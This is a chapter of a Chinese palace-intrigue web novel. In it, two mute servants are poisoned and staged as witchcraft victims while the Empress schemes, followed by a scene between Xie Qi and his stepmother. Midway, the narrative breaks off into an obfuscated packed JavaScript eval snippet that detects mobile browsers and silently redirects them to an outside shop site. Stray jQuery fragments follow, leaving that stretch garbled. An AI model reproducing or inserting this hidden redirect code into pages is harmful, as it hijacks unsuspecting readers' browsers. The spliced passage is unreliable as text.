34.第 34 章
    雪琼苑大门紧闭,门外重兵把守,竟像是在看犯人一般,可笑姜瓷还是她们请上门的“贵客”。

    姜瓷被关在苑中,一关便是一整天,她无所事事地坐在院中下着棋。

    竹月在一旁撑着脑袋,看向严丝合缝的大门,忍不住叹气:“小姐,这可怎么办,皇后娘娘铁了心要将你关在此处了,只希望大公子能早日发现端倪。”

    她又回想起早上见着的惨状,忍不住一阵后怕:“这宫中还真是吃人不吐骨头,为何要将她们舌头割去,太恐怖了。”

    姜瓷一子落下,开口答道:“守密,为了让他们无法泄露秘密,这是最残忍也是最保险的办法。”

    皇宫之中无人敢轻信旁人,于是手段千百种,或是威胁或是利诱。

    只是谢挽看上去一派温柔模样,没想到背后手段竟如此狠辣。

    是日夜里,风雨交加,电闪雷鸣,暴雨倾盆般下着,仿若要侵蚀一切,耳房之中,红木已经渐渐腐朽。

    到处弥漫着绝望的气息,那两个哑女静静依靠在一起,手紧紧交叠着似乎在等待着什么。

    不过顷刻,门吱呀一声被打开,是一个上了年纪的嬷嬷,闪电在她背后蓦地绽开,逆着光看不清她的神色。

    她自带着一股威严的气势,满脸的褶子,眼中却含着泪水。

    两人见她急忙站起行礼,那嬷嬷手中端了一个盘子,上面平静地立着两个白玉酒盏。

    她强逼回了眼泪,将盘子递上,杯中酒液在月光下泛着光泽,波澜的液体反射出李嬷嬷的眼眸。

    她神色带了些许的悲怆,更多的却是无能为力,其中一个哑女呜咽着,发出诡异扭曲的声音,随后豆大的泪珠从眼角滑落。

    另一人却是一脸空洞之色,像是早已坦然接受了一切,她率先走上前,拿起酒盏,仰头喝下。

    毒酒滑入喉间,瞬间五脏六腑都灼烧起来,疼痛难耐间,她忍受不住地倒在了地上,蜷缩起来。

    身边那个哑女,不停摇头流着泪,说话不成字句,却蹲下身去抱着她不停哀嚎着。

    很快那人便断了气,死在了她的怀中,李嬷嬷俯视着她们,心间猝然疼痛,可她无能为力。

    眼底一瞬决然过后,她捏起那杯毒酒,突然掐住那人的脸颊,强迫着她张开嘴,在呜咽声中将毒酒灌入。

    很快她身体颤抖起来,痛苦呻吟着,李嬷嬷终于忍耐不住,也大声哭嚎起来,可仔细看,她的口中也是一片狰狞。

    她们便是被称作“工具”的那群人,或者可以说是死士,这两人从六岁入宫起,便被割舌送到她的身边,由她带大。

    宫中除了她们还有很多个像这样的人,平日里低调默默无闻,在有需要时却必须拼上性命。

    三个哑巴的生活并不方便,两人中,姐姐性格沉稳内敛,妹妹却是活泼,因为两人都年纪尚小,所以对宫中那些事也并不完全透彻,那是李嬷嬷度过的最开心的几年。

    可随着日子越过越久,身边的那些人越来越少,任谁都能发现,姐姐本就细致,自明白毫无生还可能之时,她便整日郁郁寡欢。

    想反抗可却不敢,她们这些人并非是被强迫的,而是自愿,用自己的性命换家人平安,两姐妹也是如此。

    只是那时年纪尚小,有很多事都没能明白,她们不知道死士是什么意思,但她们想让家人过上安心的生活。

    李嬷嬷是幸运的,却也是不幸的,她在宫中侥幸活了这般久,虽痛苦难言但也算是保住了一条命。

    可身边人一个个离去,独留她在此处绝望之时,她也想干脆死了,可不行,宫外还有人需要她。

    夜已深,她来不及再伤痛了,李嬷嬷快速抹去眼泪,将两人摆成一种奇异的姿态。

    因着那毒酒的缘故,她们很快便七窍流血,在一片阴暗的耳房之中显得格外诡异。

    李嬷嬷布置好一切,静悄悄关上门,冒着雨离开了那地方。

    翌日清晨。

    大雨后空气中都弥漫着潮湿的气味,昨天那个打理花草的婢女哼着歌儿,推开了耳房的门。

    “啊!!”她见到眼前场景吓得跌坐在地上,脸色苍白大喊,“死人了!快来人!”

    她不停蹬着脚向后退去,昨日跟她一起的另一人慌忙来扶她。

    “晴鸢,你没事吧。”

    只见晴鸢手指颤抖,指着前方房间,满脸惊恐:“死……死人了。”

    露雨顺着方向看过去,忍不住咽了咽口水,小心踏步走了进去。

    一进去饶是有心理准备,依旧被吓了一跳,只见耳房中躺着两具尸体。

    那两个婢女穿着淡色裙袍,一个从床边挂下,倒仰着盯着门口,七窍流出的血液干涸在地上,可怖至极。

    另一人手脚怪异的反折着,似软弱无骨一般,叠在那人身上,面容也是一片模糊。

    露雨虽知道近日来宫中总是离奇死人,但这是她第一次切身体会,没想到死相如此惨烈。

    方才晴鸢的尖叫声太过刺耳,众人闻声赶来,一时间宫中议论声不绝于耳。

    露雨去扶着晴鸢,脸色煞白,在她耳边悄悄道:“宫中真的有脏东西。”

    人心惶惶之时,忽闻一声高呼:“皇后驾到!”

    所有人都恭敬行礼,谢挽淡定坐着,看起来雍容极了,她问:“何事喧哗。”

    大家面面相觑竟无一人敢出声,谢挽眉头微微蹙起,扫过底下这一群人。

    不知过了多久,露雨不顾晴鸢阻拦,上前跪下,声音有些颤抖:“娘娘,近来宫中频繁死人,奴……奴怀疑是有秽物进了宫中,还望娘娘彻查!”

    她说完伏在地上,久久不敢看谢挽,在宫中这些事本就是禁忌,可是露雨一想到那般惨状就忍不住想要说出来。

    她害怕下一个就到她,若是她也那般死去了,该如何是好。

    谁料,谢挽非但没动怒,蹙起的眉头也放了下来,微微笑道:“当然,本宫绝不会轻易放过在宫中为非作歹之人。”

    她吩咐道:“冬雨,带两个人去查查那耳房。”

    一旁的冬雨急急应下,她不知发生了何事,但听露雨说死人了难免一阵心惊。

    待冬雨走后,谢挽唇角又绽开一抹笑容:“起身吧,你叫什么名字?”

    “奴名露雨。”她将头埋得低低地答道。

    平日里谢皇后素有温婉

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14125630|146747||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    之称,现在看来还真是不假,可不知为何她心中隐隐跳着。

    “露雨。”谢挽抬眸看她,神色满是笑意,“是个机灵丫头,来本宫身边伺候吧。”

    露雨微微怔了瞬,急急跪下谢恩:“谢皇后娘娘。”

    她垂着眸子,不知道谢挽有何用意,再转头,便见耳房中两具盖着白布的女尸被抬出。

    冬雪从耳房中出来,面上带了几分战战兢兢,她快步走上前,贴近谢挽附在她耳边低声道:“娘娘,找到个东西。”

    说着,她朝远处招了招手,那婢女端上,盘子上躺着两个怪异的木偶,姿势正如那两个死去的哑女一般。

    在场人见到的都纷纷议论不停,谢挽却像是早有预料一般,神色一动未动。

    不知过了多久,待周围渐渐安静下来,她忽然痛心棘手道:“这是巫术啊!”

    “有人用此等邪祟之物霍乱宫中,其罪当诛!”

    晴鸢和露雨对视了一眼,眼中满是忧虑,做贴身侍女固然好,可这也代表会知道很多不为人知的秘密。

    若是不小心听到,或是被怀疑,那露雨的性命可就难保了,晴鸢自然不希望她去。

    “这该如何是好,还请皇后娘娘做主!”底下有人忽然高声道,其他人便也附和起来,“还请娘娘做主!”

    谢挽勾唇轻笑,眉心故作为难:“快起来,本宫识得一人,专会处理这些事,据说是江湖中有名的除邪大师,冬雪,快去将她请来。”

    “是。”冬雪低头应下,快步离开了此处。

    -

    临潭峰上一片肃穆之色,谢府立于其上,藏匿于云雾之间,谢祈一身黑衣行于其内。

    谢季将他当工具,谢挽又何尝不是,这一次是他的底线了,他快步走着,很快便到了谢挽院中。

    说来有趣,这院子谢挽几乎一辈子都不会回来了,可是却日日有人尽心尽力打扫,一丝灰尘都未落下。

    他翻过院墙,不似常人院中种些花花草草,谢挽这院子凄凉的可怖,中间立一尊佛像,前方香灰炉中插着几根檀香,正淡淡飘着细烟。

    谢祈蹙眉,没人住的院子,为何还要供奉,他来不及思考,推门走进房内,一道身影却立在其中。

    陈黛转过身来,她一身紫色长袍,眼眸闪了闪,开口问道:“你怎么回来了。”

    “这话应该我问继母才是。”谢祈向前走两步,将门关了起来,“继母为何在这处?”

    “你为何来,我便为何。”陈黛笑了笑,妖艳的脸上出现一丝探究,“如此沉不住气,你要我怎样说你才好,我们应是一条路上的人。”

    谢祈眼中闪过一丝嫌恶:“谁跟你是一路人。”

    “你不承认也罢。”陈黛行至他身侧,淡声道,“只是那东西你就别妄想了,我寻了多少日也未找到,何况你?”

    谢祈侧头看她一眼,她神色晦暗不明,陈黛为何要同他说这些:“你不怕我告诉谢季?”

    陈黛闻言轻笑:“他现在昏迷在房中,你若想说便去吧,只是你别忘了,我们才是一路人。”

    说完她便推开门走了出去,话语中隐隐约约透出来的自信却久久都未消散。